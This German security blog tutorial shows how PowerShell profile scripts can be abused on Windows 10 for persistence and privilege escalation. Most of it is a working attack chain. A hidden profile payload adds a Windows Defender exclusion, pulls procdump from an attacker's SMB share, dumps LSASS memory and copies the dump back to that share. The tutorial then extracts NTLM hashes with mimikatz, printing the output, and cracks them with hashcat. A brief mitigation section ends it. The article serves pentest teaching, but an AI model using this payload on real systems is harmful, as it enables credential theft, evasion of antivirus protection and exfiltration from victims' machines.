Die in diesem Artikel dargestellte Berechtigungseskalationsmethode wird in dieser Form von russischen Spionagegruppen verwendet. Darin wird eine Möglichkeit beschrieben, wie Angreifer PowerShell-Funktionen nutzen können, um beliebige Befehle in einem höherstufigen Kontext (Administrator) auszuführen. Im folgenden finden Sie eine Demonstration zum Exfiltrieren von NTLM-Hashes. Wie vom MITRE ATT&CK Framework definiert:
Ereignisgesteuerte Ausführung: Angreifer können durch die Ausführung bösartiger Inhalte, die durch PowerShell-Profile ausgelöst wird, Persistenz erzielen und ihre Berechtigungen erhöhen. Ein PowerShell-Profil (profile.ps1) ist ein Skript, das beim Start von PowerShell ausgeführt wird und als Anmeldeskript zum Anpassen von Benutzerumgebungen verwendet werden kann …Angreifer können diese Profile so verändern, dass sie beliebige Befehle, Funktionen, Module und/oder PowerShell-Laufwerke enthalten, um Persistenz zu erzielen.
Weitere Informationen finden Sie in den folgenden Themen:
Im folgenden Beispiel startet ein ahnungsloser Benutzer PowerShell mit lokalen Administratorrechten.
Die Netzwerktopologie enthält einen Windows-10- und einen Kali-Linux-Computer, die an einen einzelnen Router angeschlossen sind (siehe unten).
Gemäß der Definition in der Microsoft-Dokumentation:
Die Ausführungsrichtlinie von PowerShell ist eine Sicherheitsfunktion, die die Bedingungen steuert, unter denen PowerShell Konfigurationsdateien lädt und Skripte ausführt … Die Ausführungsrichtlinie ist kein Sicherheitssystem, das Benutzeraktionen einschränkt … Stattdessen hilft die Ausführungsrichtlinie den Benutzern, grundlegende Regeln festzulegen und verhindert, dass diese versehentlich verletzt werden.
In Windows 10 ist „Undefined“ (nicht definiert) die Standardrichtlinie in jedem Bereich. Es ist jedoch üblich, dass Benutzer die Richtlinien CurrentUser
und LocalMachine
ändern, um die Skriptausführung zuzulassen. Wenig restriktive Richtlinien wie RemoteSigned
, Unrestricted
oder Bypass
ermöglichen die Berechtigungseskalation. Verwenden Sie den Befehl Get-ExecutionPolicy -List
, um die aktuellen Richtlinien anzuzeigen.
PS C:\Users\varonis> Get-ExecutionPolicy -List Scope ExecutionPolicy ----- --------------- MachinePolicy Undefined UserPolicy Undefined Process Undefined CurrentUser Undefined LocalMachine RemoteSigned
PS C:\Users\varonis> Get-ExecutionPolicy -List Scope ExecutionPolicy ----- --------------- MachinePolicy Undefined UserPolicy Undefined Process Undefined CurrentUser Undefined LocalMachine RemoteSigned
PowerShell-Profile sind Skripte, die bei jeder neuen PowerShell-Sitzung ausgeführt werden. Das umfasst auch Sitzungen in PowerShell ISE und Visual Studio. Sie bieten Benutzern und Entwicklern eine bequeme Möglichkeit, benutzerdefinierte Funktionen und Module mit jedem neuen PS-Terminal zu laden. Verwenden Sie die Variable $PROFILE
, um den Profilpfad der Sitzung anzuzeigen. Get-Content
an.
PS C:\Users\varonis> Get-Content $PROFILE
PS C:\Users\varonis> Get-Content $PROFILE
Wenn das Verzeichnis nicht vorhanden ist, kann ein Angreifer es als versteckten Ordner erstellen, um unerkannt zu bleiben.
PS C:\Users\varonis> cd $env:USERPROFILE;$d="Documents\WindowsPowerShell\";New-Item -ItemType Directory -Name "$d";$h=Get-Item "$d";$h.Attributes="Hidden"
PS C:\Users\varonis> cd $env:USERPROFILE;$d="Documents\WindowsPowerShell\";New-Item -ItemType Directory -Name "$d";$h=Get-Item "$d";$h.Attributes="Hidden"
Wenn die PS1-Datei nicht vorhanden ist, erstellen Sie sie. Da das Dumpen von Passwörtern erhöhte Berechtigungen erfordert, lässt sich so effektiv verhindern, dass die Nutzdaten in einem Kontext mit geringen Berechtigungen ausgeführt werden.
PS C:\Users\varonis> echo 'if (whoami /groups | findstr /i "S-1-16-12288"){ echo "I AM ADMIN!" }' > $PROFILE
PS C:\Users\varonis> echo 'if (whoami /groups | findstr /i "S-1-16-12288"){ echo "I AM ADMIN!" }' > $PROFILE
Wenn wir nun unser Wissen über PowerShell-Profile als Waffe einsetzen, können wir zeigen, wie ein Angreifer gehashte Passwörter extrahieren kann. Fangen Sie in Kali an, indem Sie das Arbeitsverzeichnis anlegen und mehrere Dateien speichern.
tokyoneon@varonis:~$ mkdir /tmp/evilshare; cd /tmp/evilshare
tokyoneon@varonis:~$ mkdir /tmp/evilshare; cd /tmp/evilshare
Laden Sie die neueste Version von Procdump herunter.
tokyoneon@varonis:/tmp/evilshare$ wget 'https://download.sysinternals.com/files/Procdump.zip'
tokyoneon@varonis:/tmp/evilshare$ wget 'https://download.sysinternals.com/files/Procdump.zip'
Entpacken Sie die komprimierte Datei, um verschiedene Versionen von Procdump zu sehen. Bei dem in diesem Artikel beschriebenen Angriff wird procdump.exe verwendet.
tokyoneon@varonis:/tmp/evilshare$ unzip Procdump.zip
tokyoneon@varonis:/tmp/evilshare$ unzip Procdump.zip
Laden Sie das Skript, das ich für diesen Artikel erstellt habe, herunter und speichern Sie es mit dem Dateinamen „payload“ (Nutzdaten). Verwenden Sie den folgenden Befehl oder suchen Sie ihn auf meinem GitHub. Ändern Sie die $server-IP in den Nutzdaten in Ihre Kali-Adresse.
tokyoneon@varonis:/tmp/evilshare$ wget 'https://git.io/Jkc9d' -O payload
tokyoneon@varonis:/tmp/evilshare$ wget 'https://git.io/Jkc9d' -O payload
Die Nutzdaten enthalten mehrere einfache Befehle. Das Cmdlet Add-MpPreference
fügt $env:TEMP
zur Ausschlussliste von Windows Defender hinzu. Dadurch wird verhindert, dass Windows Defender procdump.exe
oder den LSASS-Speicherdump erkennt. Als Alternative zu Invoke-WebRequest
lädt esentutl.exe
procdump.exe
von der SMB-Freigabe des Angreifers herunter. Procdump wird ausgeführt und speichert den LSASS-Dump in $env:TEMP
. Es wird mit Compress-Archive
gezippt und mit dem Befehl cp
auf die SMB-Freigabe exfiltriert. Aus Gründen der Übersichtlichkeit habe ich den Nutzdaten Kommentare hinzugefügt.
# an if statement to prevent the attack from executing without administrator privileges if (whoami /groups | findstr /i "S-1-16-12288") { # start the attack as a background processs to prevent the PS terminal from stalling when opened Start-Job { # where to write data during the attack? $temp = "$env:TEMP" # create path exclusion in Windows Defender to prevent procdump detection Add-MpPreference -ExclusionPath $temp # sleep several seconds to allow the path exclusion to take effect Start-Sleep -s 4 # the attacker's IP address $server = "192.168.56.101" # the attacker's SMB share name, must match impacket-smbserver share name $share = "evilshare" # procdump filename as it appears on the attacker's SMB share $procdump = "procdump.exe" # procdump.exe is saved locally with a random string as the filename $filename = (-join ((65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object { [char]$_ })) + '.exe' # the procdump output path when saved locally; shameless username plug $dump = "tokyoneon.dmp" # as the procdump output contains non-ascii characters, it must be compressed before exfiltrating $exfil = "$env:COMPUTERNAME-$env:USERNAME-lsass.zip" # rather than use invoke-webrequest, use an alternate LOLBAS for file retrieval esentutl.exe /y \\$server\$share\$procdump /d $temp\$filename /o # execute procdump and dump LSASS memory & $temp\$filename -accepteula -ma lsass.exe $temp\$dump # suppress progress bar that appears in the terminal when compressing the dump $ProgressPreference = "SilentlyContinue" # compress the dump Compress-Archive -Path $temp\$dump -DestinationPath $temp\$exfil -Force # exfiltrate the compressed dump to the attacker's SMB share via cp cp $temp\$exfil \\$server\$share\$exfil } | Out-Null }
# an if statement to prevent the attack from executing without administrator privileges if (whoami /groups | findstr /i "S-1-16-12288") { # start the attack as a background processs to prevent the PS terminal from stalling when opened Start-Job { # where to write data during the attack? $temp = "$env:TEMP" # create path exclusion in Windows Defender to prevent procdump detection Add-MpPreference -ExclusionPath $temp # sleep several seconds to allow the path exclusion to take effect Start-Sleep -s 4 # the attacker's IP address $server = "192.168.56.101" # the attacker's SMB share name, must match impacket-smbserver share name $share = "evilshare" # procdump filename as it appears on the attacker's SMB share $procdump = "procdump.exe" # procdump.exe is saved locally with a random string as the filename $filename = (-join ((65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object { [char]$_ })) + '.exe' # the procdump output path when saved locally; shameless username plug $dump = "tokyoneon.dmp" # as the procdump output contains non-ascii characters, it must be compressed before exfiltrating $exfil = "$env:COMPUTERNAME-$env:USERNAME-lsass.zip" # rather than use invoke-webrequest, use an alternate LOLBAS for file retrieval esentutl.exe /y \\$server\$share\$procdump /d $temp\$filename /o # execute procdump and dump LSASS memory & $temp\$filename -accepteula -ma lsass.exe $temp\$dump # suppress progress bar that appears in the terminal when compressing the dump $ProgressPreference = "SilentlyContinue" # compress the dump Compress-Archive -Path $temp\$dump -DestinationPath $temp\$exfil -Force # exfiltrate the compressed dump to the attacker's SMB share via cp cp $temp\$exfil \\$server\$share\$exfil } | Out-Null }
Starten Sie impacket-smbserver
, um die Nutzdaten zuzustellen und auf eingehende LSASS-Dumps zu warten. Das Terminal muss für die Dauer des Angriffs geöffnet bleiben.
tokyoneon@varonis:/tmp/evilshare$ sudo impacket-smbserver -smb2support evilshare "$PWD"
tokyoneon@varonis:/tmp/evilshare$ sudo impacket-smbserver -smb2support evilshare "$PWD"
$PROFILE
hinzu. Dies geht auch über eine Reverse Shell oder Backdoor. Verwenden Sie jedoch der Einfachheit halber ein PS-Terminal. Ändern Sie die Variable $attacker
im folgenden Befehl in Ihre Kali-IP-Adresse.
PS C:\Users\varonis> cp \\$attacker\evilshare\payload $PROFILE
PS C:\Users\varonis> cp \\$attacker\evilshare\payload $PROFILE
impacket-smbserver
wie nachfolgend dargestellt.AUTHENTICATE_MESSAGE
“-Nachrichten werden in der impacket-smbserver
-Ausgabe angezeigt: Das Ziel-Betriebssystem, das procdump.exe abruft, und das komprimierte LSASS-Dump, das auf dem Server bereitgestellt wird. Warten Sie nach der zweiten Nachricht einige Augenblicke und drücken Sie zweimal Ctrl
+ c
, um den Impacket-Server zu beenden. Es wird eine neue ZIP-Datei in dem aktuellen Verzeichnis angelegt. Diese enthält die DMP-Datei, die sich daraus entpacken lässt.
Die gehashten Passwörter in der DMP-Datei sind nicht als Klartext lesbar. Verschieben Sie die DMP-Datei auf eine VM von Windows 10 mit deaktiviertem Windows Defender. Laden Sie die neueste Version von Mimikatz (mimikatz_trunk.zip) herunter und speichern Sie sie im Ordner Downloads
in Windows. Öffnen Sie ein PowerShell-Terminal und entpacken Sie die ZIP-Datei mit dem folgenden Befehl.
PS > Expand-Archive -Path $env:USERPROFILE\Downloads\mimikatz_trunk.zip -DestinationPath $env:USERPROFILE\mimikatz
PS > Expand-Archive -Path $env:USERPROFILE\Downloads\mimikatz_trunk.zip -DestinationPath $env:USERPROFILE\mimikatz
Gehen Sie in das x64-Verzeichnis und führen Sie die Binärdatei mimikatz.exe aus.
PS C:\Users\tokyoneon> cd $env:USERPROFILE\mimikatz\x64\; .\mimikatz.exe
PS C:\Users\tokyoneon> cd $env:USERPROFILE\mimikatz\x64\; .\mimikatz.exe
sekurlsa::minidump
.
mimikatz # sekurlsa::minidump C:\PATH\TO\YOUR\DUMP\tokyoneon.dmp
mimikatz # sekurlsa::minidump C:\PATH\TO\YOUR\DUMP\tokyoneon.dmp
Benutzen Sie den Befehl sekurlsa::logonPasswords
, um gehashte Anmeldedaten zu extrahieren. Beachten Sie den NTLM-Hash in Zeile 12.
mimikatz # sekurlsa::logonPasswords Opening : 'Z:\lsass_dumps\tokyoneon.dmp' file for minidump... 1 Authentication Id : 0 ; 188563 (00000000:0002e093) 2 Session : Interactive from 1 3 User Name : varonis 4 Domain : DESKTOP-JI80T34 5 Logon Server : DESKTOP-JI80T34 6 Logon Time : 11/15/2020 9:56:57 PM 7 SID : S-1-5-21-3489785614-2607058550-4100802712-1001 8 msv : 9 [00000003] Primary 10 * Username : varonis 11 * Domain : DESKTOP-JI80T34 12 * NTLM : 2ba9afd0306922f6aed8c6a2406ddab5 13 * SHA1 : 33b282eb0ba4e815a93f95d0c5321c5e8d76997f 14 tspkg : 15 wdigest : 16 * Username : varonis 17 * Domain : DESKTOP-JI80T34 18 * Password : (null) 19 kerberos : 20 * Username : varonis 21 * Domain : DESKTOP-JI80T34 22 * Password : (null) 23 ssp : 24 credman : 25 cloudap : ----- [truncated] ----- 59 Authentication Id : 0 ; 999 (00000000:000003e7) 60 Session : UndefinedLogonType from 0 61 User Name : DESKTOP-JI80T34$ 62 Domain : WORKGROUP 63 Logon Server : (null) 64 Logon Time : 11/15/2020 9:56:50 PM 65 SID : S-1-5-18 66 msv : 67 tspkg : 68 wdigest : 69 * Username : DESKTOP-JI80T34$ 70 * Domain : WORKGROUP 71 * Password : (null) 72 kerberos : 73 * Username : desktop-ji80t34$ 74 * Domain : WORKGROUP 75 * Password : (null) 76 ssp : 77 credman : 78 cloudap : mimikatz #
mimikatz # sekurlsa::logonPasswords Opening : 'Z:\lsass_dumps\tokyoneon.dmp' file for minidump... 1 Authentication Id : 0 ; 188563 (00000000:0002e093) 2 Session : Interactive from 1 3 User Name : varonis 4 Domain : DESKTOP-JI80T34 5 Logon Server : DESKTOP-JI80T34 6 Logon Time : 11/15/2020 9:56:57 PM 7 SID : S-1-5-21-3489785614-2607058550-4100802712-1001 8 msv : 9 [00000003] Primary 10 * Username : varonis 11 * Domain : DESKTOP-JI80T34 12 * NTLM : 2ba9afd0306922f6aed8c6a2406ddab5 13 * SHA1 : 33b282eb0ba4e815a93f95d0c5321c5e8d76997f 14 tspkg : 15 wdigest : 16 * Username : varonis 17 * Domain : DESKTOP-JI80T34 18 * Password : (null) 19 kerberos : 20 * Username : varonis 21 * Domain : DESKTOP-JI80T34 22 * Password : (null) 23 ssp : 24 credman : 25 cloudap : ----- [truncated] ----- 59 Authentication Id : 0 ; 999 (00000000:000003e7) 60 Session : UndefinedLogonType from 0 61 User Name : DESKTOP-JI80T34$ 62 Domain : WORKGROUP 63 Logon Server : (null) 64 Logon Time : 11/15/2020 9:56:50 PM 65 SID : S-1-5-18 66 msv : 67 tspkg : 68 wdigest : 69 * Username : DESKTOP-JI80T34$ 70 * Domain : WORKGROUP 71 * Password : (null) 72 kerberos : 73 * Username : desktop-ji80t34$ 74 * Domain : WORKGROUP 75 * Password : (null) 76 ssp : 77 credman : 78 cloudap : mimikatz #
Nun zu einem weiteren Pentesting-Tool, Hashcat. Selbst im Jahr 2020 verwenden Menschen noch schwache Passwörter, um ihre Daten und Konten zu sichern. Mit der neuesten Version von Hashcat und einer gewöhnlichen GTX-1060-GPU dauerte es eine Sekunde, um einen Hash mit sieben Zeichen zu knacken.
tokyoneon@hades:~$ hashcat /tmp/hash.txt -w 4 -O -m 1000 -a 3 ?l?l?l?l?l?l?l
tokyoneon@hades:~$ hashcat /tmp/hash.txt -w 4 -O -m 1000 -a 3 ?l?l?l?l?l?l?l
Das MITRE-ATT&CK-Framework empfiehlt: Überwachen Sie die Profilorte auf Änderungen. Weitere Gegenmaßnahmen:
-NoProfile
, wenn Sie PowerShell-Skripte per Fernzugriff ausführen. So können Sie verhindern, dass lokale Profile ausgeführt werden.Dieser Angriff auf NTLM-Hashes verdeutlicht die Gefahren einer nicht ausreichend strengen Richtlinie in Verbindung mit lokalen Administratorkonten. Während hier detailliert beschrieben wurde, wie ein Angreifer den Administrator zur Exfiltration von NTLM-Hashes zwingen kann, ist es trivial, die verwendeten Nutzdaten zu verändern und seine Berechtigungen mit PsExec auf NT AUTHORITY\SYSTEM
zu erweitern. Weitere Tipps für Pentester, die PowerShell verwenden. Folgen Sie mir auf Twitter @tokyoneon_ und auf GitHub , um über meine aktuellen Projekte auf dem Laufenden zu bleiben. Bei Fragen und Anliegen können Sie einen Kommentar hinterlassen oder mir eine Nachricht auf Twitter schicken.